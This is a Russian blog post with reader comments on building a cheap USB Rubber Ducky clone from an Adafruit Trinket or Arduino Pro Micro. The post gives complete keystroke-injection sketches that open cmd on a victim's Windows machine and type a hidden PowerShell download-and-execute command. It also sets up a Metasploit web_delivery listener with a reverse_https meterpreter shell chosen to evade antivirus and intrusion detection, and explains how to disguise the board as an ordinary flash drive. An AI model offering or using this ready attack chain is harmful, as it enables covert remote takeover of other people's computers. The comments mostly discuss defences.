Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.

К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include. Вам понадобится установить библиотеку, следуя этой инструкции.

#include <TrinketKeyboard.h>

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include <TrinketKeyboard.h>

void setup() {
    TrinketKeyboard.begin();
}

void loop() {
    TrinketKeyboard.print("Help, I am trapped in a computer! \n");
    delay(500);
}



Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include <TrinketKeyboard.h>

void pressEnter() {
	TrinketKeyboard.pressKey(0, 0x28);
	delay(10);
	TrinketKeyboard.pressKey(0,0);
	delay(300);
}

void winRun() {
	TrinketKeyboard.pressKey(0x08, 0x15);
	delay(30);
	TrinketKeyboard.pressKey(0,0);
}

void setup() {
	TrinketKeyboard.begin();
	delay(1000);
	winRun();
	delay(100);
	winRun();
	delay(300);
	// Run cmd
	TrinketKeyboard.print("cmd");
	pressEnter();
	delay(500);
	TrinketKeyboard.print("ipconfig");
	delay(100);
	pressEnter();
}

Отлично. Создадим эксплоит во фреймворке Metasploit.



Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

use exploit/multi/script/web_delivery

Нужно сказать нашей программе, откуда брать бинарники:

set LHOST 1.2.3.4

Дальше указываем порт, который не вызовет подозрений, что насчёт 443? ;)

set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

set TARGET 2

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit.

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit


Получаем полезную нагрузку для запуска на компьютере жертвы:

powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');

Теперь можем запустить это с флэшки.

#include <TrinketKeyboard.h>

void pressEnter() {
    TrinketKeyboard.pressKey(0, 0x28);
  	delay(10);
  	TrinketKeyboard.pressKey(0,0);
  	delay(300);
}

void winRun() {
  	TrinketKeyboard.pressKey(0x08, 0x15);
  	delay(30);
  	TrinketKeyboard.pressKey(0,0);
}

void setup() {
  	TrinketKeyboard.begin();
  	delay(1000);
  	winRun();
  	delay(100);
  	winRun();
  	delay(300);
  	// Run cmd
  	TrinketKeyboard.print("cmd");
  	pressEnter();
  	delay(500);
  	TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');"); 
  	delay(100);
  	pressEnter();
}


void loop() {
  	// nothing happens after setup
}

Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.



Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.



Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB ? USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.



Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.



Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h"

void winRun() {
  	Keyboard.press(KEY_LEFT_GUI);
  	Keyboard.press('r');
  	delay(30);
  	Keyboard.releaseAll();
  	delay(100);
}

void setup() {
  	Keyboard.begin();
  	delay(2000);
  	winRun();
  	Keyboard.println("cmd");
  	Keyboard.write(KEY_RETURN);
  	delay(500);
  	Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); 
  	Keyboard.write(KEY_RETURN);
}

void loop() {
  // put your main code here, to run repeatedly:
}

Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

Комментарии (80)


  1. AntonSor
    10.10.2017 21:32
    +2

    Т.е. он то же самое мог ввести и вручную с клавиатуры, будь у него больше времени? Или расчет на то, что жертва подберет эту «флешку» и захочет посмотреть, что там?


  1. dnbolt
    10.10.2017 22:09
    +3

    Делал такое из обычной флешки, кажется transcend 4Gb, на какомто чипе (он был уязвим для перепрошивки), там подменялся загрузчик и флешка думала что она клавиатура, в то время как на самй nand, был эксплойт.
    она не требовала сети и даже при полной разборке не вызывала подозрений.
    Было это году этак в 2012м, так что подробностей не припомю.


    1. lopatoid
      11.10.2017 02:39
      +3

      Для подробностей гуглить BadUSB


    1. sterr
      11.10.2017 22:30

      Насколько помню только у SMI были 8 битные контроллеры в качестве тупых флешек. Впрочем они же стояли и в модуляторах.


  1. Myrik
    10.10.2017 22:09
    +2

    Есть такая комбинация: win+R
    Работает быстрее открытия пуска и поиска в нем


    1. sumanai
      11.10.2017 00:20

      И универсальнее. А то вот у меня нет поиска в пуске, и по заданной последовательности действий запустится совершенно левая программа.


      1. Tallefer
        11.10.2017 07:27

        У всего есть обратная сторона — хоткеи могут быть законодательно запрещены… :)


  1. Disbeleiver
    10.10.2017 23:21
    +2

    Не совсем понял, почему это называется взломом.
    Есть подозрение, что с любым компьютером, соддержащим данные ценней рецептов бабуленьки и закладок с ололошками вконтакте у такой сь«уточки» возникнут некоторые сложности на этапе ввода логина (даже не пароля).

    Если расчет на то, что пользователь, которого почему-то допустили к работе с ценными данными на компьютере, у которого нет программного фильтра устройств, а порты USB не отсутствуют физически, в заведении, в которое разрешено приносить левые флешки, все-таки догадается воткнуть эту чудо-флешку в порт, он (тадааам) увидит окно консоли, которое еще и не закроется после выполнения команды (пошлите Alt+F4, что ли), позовет админа, после чего пользователь будет допрошен в застенке и выдаст, где взял флешку, а скомпрометированный компьютер будет незамедлительно утилизирован.

    Впрочем, если вам интересно ковыряться с этим делом — попробуйте вариант с Composite Device, добавьте туда Mass Storage или сидюк с кодом гадости, как вариант на случай недоступности интернетов. Вообще беспроигрышный вариант — copy con program.exe, далее понятно.


    1. vanxant
      11.10.2017 05:37

      Так, конечно, вы правы.
      Но — порты USB могут присутствовать физически, но работать немного не так, как ожидается. Ну или совсем не так. Или, в простейшем случае, совсем не работать. В-общем, если в организации много типовых компов, порты удобнее вырубать логически, а не физически.


    1. arthi7471
      11.10.2017 10:26
      +1

      Еще более наглое заявление о возможности взломать любую ОС. Ну удачи вам с QNX к примеру.


    1. barabanus
      14.10.2017 11:16

      Пусть вероятность того, что это устройство можно подключить к одному из компьютеров в сети равна А — она достаточно маленькая, поскольку обычно порты USB обычно отсутствуют физически, в заведение нельзя приносить левые флешки и т.д. Если в сети N компьютеров, то общая вероятность взлома хотя бы одного компьютера будет 1 — (1 — A)^N, т.е. асимптотически она стремится к единице. А для получения ценных данных не обязательно сразу ломать нужный компьютер, иногда достаточно зацепиться хоть за какой-нибудь компьютер в сети.


      1. juray
        14.10.2017 14:55

        Что означает «можно подключить к одному из компьютеров в сети»? Наличие доступных портов? Если так, то А — вероятность того, что на произвольно выбранном компе будет нарушена политика ИБ.
        В этом случае ваша формула описывает вероятность того, что «хотя бы на одном компе будет нарушение ИБ и открыты порты», но это еще не вероятность взлома. Поскольку для взлома требуется еще и совпадение — именно комп, выбранный для взлома должен иметь открытые порты.
        При попытке «зацепиться хоть за какой-нибудь компьютер в сети» — вполне может оказаться, что этот «какой-нибудь» как раз имеет блокировку.
        Да, есть сценарий, когда вероятность взлома как раз равна вашей формуле — если «человек с флешкой» имеет доступ ко всем компам и поочередно пытается вставить флешку во все подряд.


  1. Goodkat
    10.10.2017 23:57
    +4

    Зачем качать payload из интернета, если его можно засунуть на флешку?


    1. k0ldbl00d
      11.10.2017 01:39

      Вы точно не знаете какая буква диска будет у флешки в Windows. Хотя это и не большая проблема, но работу скрипта замедляет, а задача — выполнить минимум действий за минимум времени.


      1. V1tol
        11.10.2017 02:30
        +1

        По UID можно, имеет вид \\?\Volume{874ce5f7-4533-495a-b740-07ee5a729fb7}\. Или задать уникальную метку тома и искать по ней.


        1. svosin
          11.10.2017 12:07

          А как всё это будет передаваться на контроллер? С точки зрения ОС он является обыкновенной клавиатурой, и единственный способ передачи данных — это «намигать» UUID индикаторами Num/Caps/ScrollLock, но это замедлит атаку.


          1. vvzvlad
            12.10.2017 01:22

            Что мешает сделать там еще одну endpoint с возможностью приема данных? Ах, да, arduino.


        1. iig
          11.10.2017 12:32

          Плохо помню синтаксис cmd… Где-то так:


          for disk in "D":"Z"
          do
          %disk:\runpayload-874ce5f7-4533-495a-b740-07ee5a729fb7.bat
          done


          Шарашить по всем дискам подряд. На каком-нибудь диске должно найтись.


  1. DeeZ
    11.10.2017 06:33
    +2

    Ипользовал для схожих целей Digispark ATTiny85
    Используется для ввода пароль по определенным события и определенным условия (так что я даже сам не знаю 30 значные пароли которые он «шлет»).

    image


    1. Dmitry_7
      11.10.2017 07:58

      Интересно будет, если эти пароли из единичек


    1. boojum
      11.10.2017 11:51

      по определенным событиям и определенным условиям

      Интересно.
      Можно поподробнее на какие события и условия он может реагировать у вас?


    1. aamonster
      11.10.2017 19:41

      О, а расскажите поподробнее. Сам купил дигиспарки с той же целью, но пока не решил, как лучше сигналить с компа на спарк. Два раза скролл лок — можно, но не супер (нет очевидного способа выбрать один из паролей)


  1. CityCat4
    11.10.2017 07:28
    -1

    Кто-то еще вставляет неведомо где подобранные флэшки в комп с виндой? :)


    1. nerudo
      11.10.2017 07:50
      +2

      Только в чужой!


    1. Dmitry_7
      11.10.2017 07:58
      +6

      Хм, а где гарантия, что просто купленная флэшка не содержит такой же софт?


      1. roboter
        11.10.2017 11:23
        +2

        или подаренная!


    1. chernilschik
      11.10.2017 13:33
      -1

      Кто-то все еще думает, что линь неуязвим?


      1. shumsky91
        11.10.2017 13:58
        +3

        кто-то еще думает, что при физическом доступе к компу невозможно изъять инфу?


  1. KIVagant
    11.10.2017 09:45
    +1

    Мне кажется все слишком всерьёз оценивают качество исполнения, в то время как автор продемонстрировал саму возможность. Какие уже сочетания клавиш использовать — это дело десятое. Другой вопрос, что хоть сколько-нибудь развитая организация постарается защититься от подобных уточек хотя бы политикой тотального запрета вставлять чужие флешки в компы, а то и вовсе отключением этой возможности. Потому, что флешки вообще устаревают.


    1. izzholtik
      11.10.2017 11:43
      +1

      Возможность плавает на поверхности, тут и показывать ничего не надо.


    1. 0lympian
      11.10.2017 13:41
      +3

      В данном случае для компа это обычная USB-клавиатура, так что запрет политикой на флешки не поможет.


      1. nafikovr
        11.10.2017 13:59

        политика безопасности имеется не только в операционке. она может выражаться в заклеенных сургучом usb разъемах.


  1. KIVagant
    11.10.2017 09:47
    +5

    Хотя я вот в банке сижу. Тут системник модный тонкий современный прямо на столе стоит портами к клиенту, а менеджер бегает где-то по делам, компьютер разлочен… так что все возможно.


    1. rub_ak
      11.10.2017 10:04

      А у вас учетка админа и не настроено SRP (Software Restriction Policies)?
      Ещё можно запретить установку устройств, чтобы всякие Флешки и прочею ерунду в компы не вставляли, но если флешка притворяется клавиатурой, это будет сделать сложно. (останется только железное выключение USB портов)


      1. Kobalt_x
        11.10.2017 10:11

        можно запретить usb клавиатуры по классу устройств(не знаю можно ли из srp, или нужно писать фильтр-драйвер), или сделать авторизацию клавиатуры(блокировка клавиатуры до ввода капчи с доверенного устройства e.g osk), но это ЕМНИП запатентовано


        1. rub_ak
          11.10.2017 10:28
          +2

          На устройства отдельные политики, srp их не трогает.
          Но если запретить клавиатуры по классу устройств, то как пользоваться клавиатурой?

          А вот авторизация клавиатуры точно не входит в стандартную поставку windows, то есть это надо внедрять и стоит наверно тоже каких-то денег и как понимаю не малых.


          1. Kobalt_x
            11.10.2017 12:23

            можно запретить клавиатуры по шине usb и пользоваться ps/2 (если оно есть конечно).
            2) в некоторых АВ решениях для бизнеса(e.g у команий на букву К и S точно) есть подобные средства, в продвинутых редакциях, так что если они у вас уже лицензированы то покупать отдельно не нужно, отдельные решения тоже есть, но я их в глаза не видел, сходу нагуглил какой-то endpoint protector стоимостью 16 euro/per PC


            1. Tallefer
              11.10.2017 12:59
              +1

              пс-2, зараза, один, и имеет тенденцию выгорать, а так да, логично. Или можно совсем смешно — по блютузу, там же именно что авторизация устройств, хоть и не секурно.


            1. Mikihiso
              11.10.2017 13:03

              Из моего опыта работы с подобным софтом там можно запретить вообще все юсб устройства, а потом разрешить отдельные по id. Обычно настраивалось в итоге так, что пользователь сам ничего неразрешенного (даже клаву или мышку свою) без участия админа не мог включить.


              1. Kobalt_x
                11.10.2017 13:25

                У какого-то из ав вендоров была именно авторизация, а не тупо белый список по device id


      1. 3abotin
        11.10.2017 14:25

        10й касперский может блочить флешки, маскирующиемя под клавиатуры. Просит ввести цифровой код с устройства. Штука хорошая, но доставляет, когда нужно подключить тот же поинтер для презентаций.


        1. a1ien_n3t
          11.10.2017 18:00

          А еще наверно весело подключать сканеры штрих-кодов)


  1. Dark_Purple
    11.10.2017 09:54
    +3

    Флешка с эмулятором USB клавиатуры, не оригинально, даже скучно.


    1. sshmakov
      11.10.2017 15:39
      +3

      Да, ваш USB killer не перебить.


      1. struvv
        11.10.2017 19:50

        Надо сделать «USB killer» killer. Принцип работы — при подключение USB киллера на него подаётся 50000V

        Состав «USB killer» killer — катушка зажигания, реле, заряженный аккумулятор 12V, провода(для высокого напряжения и для 12V).

        В следующей версии доработать его, чтобы оно не сжигало обычные флешки.


        1. Kobalt_x
          11.10.2017 20:07

          если научиться детектить киллер и тупо отрубать питание разъёма/шину контроллером аппаратно


          1. struvv
            11.10.2017 20:30

            Почти наверняка при такой компоновке флешки, как у USB киллеров будет пробой(1-2 см) вокруг всех механически разомкнутых цепей.


  1. Sharah35
    11.10.2017 09:56
    +3

    Товарищи… мысль следующая, давно ветает в голове:
    USB Dongle (Boot Sketch + Emulator USB Keyboard + Bluetooth Module)
    Телефон с Android(для примера, так как могу пока для него что-то написать)

    Вставляем донгл в ПК где нужна работа с личными данными, вход в почту/ВК/маил и т.д.
    На телефоне список паролей 16 значных рандом символов для каждого сайта/системы/и т.д.
    Жмем на дисплее ввод нужного пароля… он передается на донгл и сразу же вводится в нужное поле, где стоит курсор… так как хранить гигантское количество паролей от разных сайтов Unreal.

    плюсы:
    1) на ПК нет всех паролей, базу тупо не украсть…
    2) пока не получишь физический доступ к телефону, не выдернишь их все…
    3) защиту можно прикрутить при передаче он трубы к донглу… тот же сертификат или свой алгоритм или втупую md5
    4) защита от быстрого слития паролей в текстовик… ввод не более 5 паролей за 5 минут
    5) можно прикрутить алгоритм GoogleAthenticator и вводить из этого менеджера паролей сам код одним кликом
    6) если сделать обмен данными в обе стороны, можно автоматом и сохранять/создавать данные на телефоне, так же автоматом вводить при включенном блютусе на телефоне.
    7) можно купить 3 донгла, один вставлен на работе, другой дома, третий на ключах… для полной мобильности. Пришел на работу, телефон увидел донгл(минимум по маку авторизовав его на стройстве, а можно ведь и сертификат прикрутить) но это утопия)
    8) можно юзать из вышеуказанной статьи донглы(usb bluetooth) китайцев с возможность шитья под свои цели…

    Как мысль? Рвите в клочья минусами


    1. Kobalt_x
      11.10.2017 10:21

      если предлагается как в посте, то зараженная ОС на хосте может снифать шину, все ваши пароли в открытом виде уйдут, а если доверять хостовой ос, то зачем донгл


      1. Sharah35
        11.10.2017 11:08

        может не правильно понял но все же…
        защититься от кражи пароля в зараженной системе(куда воткнут донгл) невозможно, так как это уже совсем другая песня. Если на то пошло, снифать шину не обязательно, это сложно, зачем… есть более простая вирусня которые крадут данные при передаче по сети или из самого браузера.
        тут логика в хранении всех паролей не на, как вы выразились, зараженной ОС или тупо на флешке с менеджером паролей, который можно слить с флешки… а на телефоне который нужно физически украсть чтобы поиметь базу всех паролей, а украсть один или два введенные можно с абсолютно чистой ОС, но при вставленном переходнике usb сниффере(google)


    1. Konachan700
      11.10.2017 11:38

      Это получается моя MeW. Проблема там только в том, что от кейлоггеров оно не спасает.


      1. Sharah35
        11.10.2017 12:39

        я читал про ваше устройство, если банком/обработчиком является телефон, это сильно упрощает задачу, добавляет юзабилити, увеличивает функционал в разы, удешевляет процесс создания… а если юзать готовые китайские доглы прошивая их… практически дает 100% отдачу.
        а в плане кейлоггеров ничего не защитит… есть кейлоггеры аппаратные.
        хотя если юзать в менеджере паролей GAuth защита 100% от кейлоггеров. но это и без донгла все реализовано.
        есть желание позаниматься перепиливанием идеи? с меня программщина на робота зеленого


        1. Konachan700
          12.10.2017 13:04

          Снять базу с телефона — изимод, уязвимостей в андроиде масса, особенно на китайфонах. Для хранения базы нужен отдельный внешний донгл с неизвлекаемой базой. Проекты драйвера hid-gadget были, когда телефон подключался и превращался в клаву, но это не сильно безопасно.
          А вот именно взаимодействие, то да, я сейчас прорабатываю такой вариант: 4 кнопки быстрого доступа и BLE для управления всем остальным. Делать донгл без кнопок неудобно, юзабилити будет ужасное — включить телефон, разблокировать, дождаться спаривания, открыть приложение, открыть нужный экран в нем, пролистать,… у такого сервиса нет будущего. Просто вспомнить и ввести пароль быстрее. Кнопки для быстрого доступа для часто используемых паролей, на мой взгляд, обязательны.
          В общем, пишите в личку своё видение такой железки, будем обсуждать.


          1. Tallefer
            12.10.2017 13:36

            Без %кнопок% никак, это да. Но вот еще вариант, не для слабонервных, но потенциально может быть интересен: найти крошечный продолговатый тачскрин, примерно под размер флэшки, и утопить его заподлицо с такого же цвета корпусом (черным), чтобы не отличался от него. Ну и софт канеш. Любые операции с девайсом и его «особенности» будут менее очевидны, чем в случае с кнопками.


          1. Sharah35
            12.10.2017 20:53

            ну сняли вы с телефона шифрованную базу… далее что?
            обычный рутованный телефон позволит это сделать…
            а то что можно соснифать вытащить все коды расшифровок и т.д. с телефона вирусней… это понятно… вопрос в сохранности трубы… и то что она никогда не попадет в чужие руки… тем более на установку левого го*ва… опять же время…
            если попадет в руки устройство ваше… его так же можно легко распороть и все вылить…

            по поводу кнопок и дисплея… не юзабельно это все… не будет дальнейшего развития…
            воткнул я в порт на морде системника донгл… первое пока жал кнопки он отвалился так как разъемы везде раздолбанные…

            + системник на полу… мало у кого есть удлиннители и т.д.(у прошаренных у всех есть, вопрос про рядовых юзеров) жать чето на кнопках под столом…
            + в ваш донгл нужно вбивать руками или загружать софтом пароли от сайтов… разве удобно?
            + выбирать кнопками на дисплее рыться в папках на устройстве кнопками даже если оно на удлиннителе… неудобно… ибо чтобы мне авторизоваться на сервере… нужно… ввести логин, пароль, двухфакторку, ввести пароль рута, подключиться к базе опять же паролем…
            + размер носимого устройства и его цена… в моем случае можно юзать даже готовый блют китайцев… + помещается в виде брелка на ключи от дома…
            + в случае потери юзер повесится… ибо нет бэкапа нигде…

            + когда у вас действительно 6 паролей… это удобно… но у меня их сотня если не две… обычный парольный менеджер и то забит по папкам… это от всех серверов этого района… от сверверов другого района… внутри папки… от серверов департамента лесного хозяйства… это от серверов министерства вн… ой… кхкхм… блаблаблаблабла… много всего… в одном только районе..(сетка порядка 500серверов не говоря про пк юзеров… и кучи софта баз и т.д.)подцеплена по шифрованным каналам вся область впн внутри впна (випнет(мать его за ногу)+дионис+сертификат авториз)…

            извините что так жестоко про ваше устройство отписался… но имхо…


      1. Vaskrol
        11.10.2017 14:41

        Я прочитал про ваше устройство, но не понял, как оно выбирает, какой пароль вводить? Его нужно выбрать как-то на устройстве? Или оно каким-то образом само определяет, на каком сайте находишься и какой логин ввёл?


        1. Tallefer
          11.10.2017 15:13

          Думаю, выбирать напрямую можно только на том, что с экраном. Иначе как-то кнопками придется разные комбо исполнять. :)


        1. Sharah35
          12.10.2017 08:21

          если сделать двустороннюю связь можно будет и сохранять и вводить пароли автоматически, софтина ставится на пк и спрашивает есть ли такой в базе логин пасс… но не более 5 паролей за 5 минут…
          если связь односторонняя тогда пальчиком в экран тыкнуть нужно…


        1. Konachan700
          12.10.2017 13:07

          В версии с экраном выбор через менюшку как на обычном кнопочном телефоне. В версии без пароля стоит RGB-диод, 4 цвета — 4 папки, первая кнопка переключает папки, остальные 5 кнопок — это кнопки паролей. В результате до 20 паролей. Цветов можно добавить, будет больше паролей.


    1. Tallefer
      11.10.2017 12:55

      Телефон можно потерять и т.д., надо так: пароли не на телефоне, а в инете. а на телефоне как бы «дружественный митм» :), который передает дальше на комп при вводе мастер пароля. Ну в общем, логически это почти то же самое, только плюс бэкап базы в интернеты, а при желании можно еще и телефону не доверять.


      1. Sharah35
        12.10.2017 08:29

        по поводу бэкапа уже подумано… но тут двоякая ситуация… люди не доверяют онлайн сервисам хранения ваших данных… и правильно так как периодически их все ломают… и выливают базы… а смогут их дальше расшифровать или нет это другой вопрос…

        а если брать из телефона а телефон будет слать на сервис запрос оттуда брать расшифровывать и т.д. это займет столько времени что проще руками вбить рандом пока оно все отдуплит… а вот хранить там бэкап более или менее удобно… но не безопасно… слить смогут расшифровать врятли


        1. Tallefer
          12.10.2017 13:29

          Ну так база на сервере зашфрована и ключ там не лежит, очевидно. Пусть ломают. :)
          Ну а насчет времени доступа — так это целиком и полностью зависит от криворукости разрабов, так-то телефон почти всегда онлайн и уж парой-то пакетов он успеет обменяться с серваком. И надо не забывать, что сливать с сервака базу можно только тогда, когда она меняется и кэшировать в памяти, отсюда и «бэкап». Опять же, безопасность таки важнее нескольких потраченных секунд, по идее. :)


  1. maa_boo
    11.10.2017 11:06
    +1

    А можно объяснить менее технически грамотным сообщникам, в чём именно состоит взлом?


    1. Mikluho
      11.10.2017 12:00
      +3

      Тут во флэшку запихали кулхацкера, который быстро-быстро что-то печатает на клавиатуре компа :)
      Т.е. тупо автоматизация того, что можно сделать и так, имея доступ к компу.
      «Взлом» получится только если убедить пользователя самого воткнуть флэшку в свой комп.


      1. StalkerSVR
        12.10.2017 10:49

        в Mr.Robot как раз обыгрывался такой вариант — на улице около нужной организации были рассыпаны кучи таких «флешек», и один тупой нигг… охранник подобрал таки и додумался вставить её в комп.


  1. sriver
    11.10.2017 12:00

    вот похожее, применение: habrahabr.ru/post/240291


  1. iig
    11.10.2017 12:42
    +2

    Сценарий взлома №1: уборщица незаметно выдергивает USB клавиатуру и подключает ее через маленький переходник (внутри кейлоггер). Через неделю переходник забирает.


    Сценарий №2: RFID метки на гибкой основе в форме стикера — давно не редкость, и стоят они копейки. Кейлоггер в форме стикера, который та же уборщица прилепит на клавиатуру снизу, конечно, на ардуине не сделаешь. Но это реально.


    1. Sharah35
      11.10.2017 12:46
      +1

      ну наклеил метку дальше что? что происходит… не уловил смысла
      где связь ударов по клавишам и rfid метки


      1. Kobalt_x
        11.10.2017 12:57

        Регистрируем изменение эм поля от нажатия(это вообще реализуемо?) Фоним на другой частоте злоумышленнику


      1. iig
        11.10.2017 12:58

        По интервалам между нажатиями на клавиши можно много чего восстановить, особенно если достаточно долго слушать. А в стикер вполне реально поместить микрофон, батарейку и чип с памятью.


        1. Sharah35
          12.10.2017 21:01

          парни вы правда думаете что ваша мысль реализуема? про регистрацию поля и слушать клавиши, чуть со стула не упал… Почитайте про ПЭМИН, такое пытались делать в СССР, но дальше идеи практически не дошло(сделали немного разработок и успокоились), тем более в наше время вокруг столько поля, что можно энергию вырабатывать из воздуха, мало но можно


    1. Germanets
      12.10.2017 16:51

      Сценарий №3: уборщица устанавливает маленький цветочный горшок с камерой, направленной в сторону необходимых монитора\клавиатуры)


      1. iig
        12.10.2017 17:43

        №N+1: вместо сетевого удлинителя бросается точно такой же, но с начинкой. То что появился новый цветочный горшок — это может быть заметно. А многие ли обращают внимание на то, какого цвета провод под столом?


  1. AllexIn
    11.10.2017 13:05
    +1

    Если к компу есть физический доступ — его взломают.
    В статье — один из вариантов такого взлома, имеющий право на существование.


  1. ZloyStrelok
    11.10.2017 13:33

    Интересно, а такое устройство изначально определяется компьютером как флешка? Или сразу как клавиатура? Например, Device Lock с разрешенными для всех клавиатурами и запрещенными на этой машинке флешками пропустит такое?


    1. Tallefer
      11.10.2017 13:38
      +1

      Так в том и суть, что это — 100% клавиатура (с точки зрения компа), просто сигнал по юсб генерируется софтом, а не контроллером обычной клавы.


  1. fmj
    11.10.2017 16:00

    Во-первых, к powershell может не быть доступа.
    Во-вторых, не будет прав за запуск программ и скриптов.


    1. Kobalt_x
      11.10.2017 16:41

      к проводнику/почтовому клиенту/браузеру доступ будет могут как поудалять всё, так и переслать ваши доки хрен пойми кому.


  1. Aigir
    12.10.2017 10:48

    в некоторых антивирях, например в корпоративной версии Касперского, уже есть защита от подобных BadUSB-девайсов. При первом подключении любой новой клавиатуры необходимо сначала набрать непосредственно на ней случайный контрольный код, отображаемый на экране (типа капчи). Только после этого данная клавиатура может использоваться как устройство ввода.


  1. Aigir
    12.10.2017 19:56

    А у нас оказывается выпускается уже готовый именно такой девайс под кодовым названием «Клавиатурная шутка» на базе AtTiny85 :))
    masterkit.ru/shop/studygoods/664382
    Так что ждите наплыва очередных школохацкеров и приколистов.